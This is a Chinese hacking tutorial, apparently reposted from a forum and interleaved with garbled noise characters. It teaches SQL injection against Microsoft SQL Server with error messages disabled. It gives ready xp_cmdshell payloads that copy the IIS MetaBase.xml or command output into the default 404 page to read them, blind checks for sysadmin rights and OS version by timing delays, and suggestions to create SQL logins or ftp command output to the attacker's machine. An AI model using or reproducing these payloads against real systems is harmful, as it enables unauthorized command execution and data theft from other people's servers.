遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
; m$ L( r, |$ z% p' M3 q! b8 k# F' N" N. ?2 ]2 a
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
1 Y R5 B& L2 A$ {' J6 L8 Z
?4 ^' k0 w; ]! ^ 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
. k5 r+ s6 ^; }; \% n" f
8 r4 K) d* C1 o% J7 S7 R IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm. @, W: U/ \. T/ u" ?. p
7 h" y7 m3 S5 T+ O 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
2 t; k4 B6 n! z F2 X ]' x' b" H E1 s5 R4 k2 t. [
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
/ f1 N; U1 Q3 Y; }8 s6 n' k" l' y8 b" h N
执行命令得到回显
4 j8 k5 h% A0 P5 C! b8 p5 ?& ^ E' R P
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
' Y) y0 T1 @" W0 C3 g8 ?6 q! f& H q
得到文件也shi相同,把文件copy到404b.htm就行了9 ]- d9 l7 u6 Y+ N! ]4 j0 H5 f# u- N
7 V+ X5 @1 [. b
by 28ice, 2008/6/26
, T) d0 B) k9 P
# C9 _$ Y4 B7 @1 B' @ 摘自 28度的冰7 N2 S# ]3 b- |# m5 y
5 K# s/ d9 ]2 s 盲注判断权限和操作系统版本9 l8 b2 o. s$ c6 n- D+ @* g0 c; ^5 P
$ i g) m. g$ G6 w) d" ~ 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
2 u7 M2 ?( }3 C* @, U* i) k, D2 e( X* B! A
最简单的,可能以用这样的方法:
/ ~# H7 k& Q9 @: Q
- s, {% d, W1 D0 \ 1=(select IS_SRVROLEMEMBER(’sysadmin’))5 c# J/ c2 n# \- a* y. l5 Y
1 E3 F! \* [- g! l7 G 当然,有些情况下,这个方法并不奏效。
4 j+ j' Z7 I* {" O4 R8 h8 j" _- |' u% ~
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
x7 R8 {* M: g% y6 h3 i; \4 o/ F, c) a1 u+ t% R* ^
有个3办法可能以解决这个问题
! M2 G+ Y3 ~/ R* d6 y7 [3 m% C& a3 m* T% [ v/ e
a.把执行结果写到404b.htm,具体请看我的上一篇文章0 C9 F) _! s: G) M* e
+ C1 g$ o+ e0 G8 T* u# y2 [ b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟8 a. \7 o+ w* K5 s
9 i$ r4 h6 X" h/ b6 ^" v c.如果1433端口可能以连接,那干脆新建个sql登录! P4 m$ O+ \6 X
1 h4 G7 B6 {% P
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
: v+ b; U2 I6 Q& D w4 T+ U3 b" R+ b; \6 C5 {: H5 A
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
5 X2 k/ F% c: C, h5 N4 X
8 L% [8 r( _. @6 { @$ X4 N- ~ 很简单
! \3 `/ [' Z2 s6 Q. h( I7 A+ E& n+ g, i' s) k7 e# ^, y, w( n2 J
执行systeminfo; R9 G3 I, t+ M1 m; N( J' R4 l
* D: \$ V) A) Z. {9 V: w& U
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |